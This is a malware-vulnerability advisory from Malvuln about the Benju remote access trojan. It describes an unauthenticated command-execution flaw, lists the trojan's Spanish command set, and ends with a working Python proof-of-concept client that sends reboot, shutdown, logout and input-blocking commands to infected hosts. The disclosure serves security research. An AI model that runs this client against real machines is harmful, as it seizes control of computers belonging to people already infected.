Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/88922242e8805bfbc5981e55fdfadd71.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln
Threat: Backdoor.Win32.Benju.a
Vulnerability: Unauthenticated Remote Command Execution
Family: Benju
Type: PE32
MD5: 88922242e8805bfbc5981e55fdfadd71
SHA256: 7d34804173e09d0f378dfc8c9212fe77ff51f08c9d0b73d00a19b7045ddc1f0e
Vuln ID: MVID-2024-0700
Disclosure: 09/27/2024
Description: The RAT listens on TCP ports 200 and 15000. Third-party adversaries who can reach an infected host, can execute commands made available by the malware. Commands are sent in Spanish, using netcat or telnet fails to run cmds after connecting as they send CRLFs e.g. "quitar\r\n" fails "quitar" succeeds. Therefore, we need a custom client to send commands to the Benju RAT.
Reiniciado = reboot
quitar = terminate backdoor
cerrarsesion = shutdown
Enciendemonitor = turn on monitor
apagamonitor = monitor off
Ocultaiconos = hide icons
activachat = open chat window
Bloquearaton = block rat
Desbloquearaton = unblock rat
Activainicio = activate start
cerrarsesion = logout
Ocultaiconos
Conectado
Ocultado los iconos
cerrarsesion
Conectado
Cerrado la sesion de windows
Enciendemonitor
Conectado
Monitor encendido
apagamonitor
Conectado
Monitor apagado
quitar
Conectado
Pc desinfectado
Exploit/PoC:
from socket import *
import time,sys
CMD=["Reiniciado","Enciendemonitor","apagamonitor","Ocultaiconos","Activainicio",
"activachat","Bloquearaton","Desbloquearaton","cerrarsesion","quitar"]
def chk_res(s):
res=""
while True:
res += s.recv(512).decode()
if res:
break
return res
def Benju_Over(MALWARE_HOST, PTR):
PORT=200
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
print(CMD[PTR])
s.send("".encode())
print(chk_res(s))
PAYLOAD= CMD[PTR] #Don't send CRLFs
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))
s.close()
print("[*] Benju (over) Rat PoC by malvuln")
if __name__=="__main__":
c=-1
if len(sys.argv) < 3:
print("[+] Benju (over) Rat PoC by malvuln")
print("[+] Greetz Edu_Braun_0day, Indoushka, Todd J")
print("[!] Usage: Infected IP, Command")
print("[-]=============================")
for x in CMD:
c+=1
print("[+] "+str(c) + " "+ x)
exit()
try:
MALWARE_HOST=sys.argv[1]
PTR=int(sys.argv[2])
if MALWARE_HOST and PTR:
Benju_Over(MALWARE_HOST, PTR)
except Exception as e:
print("[!] "+str(e))
exit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).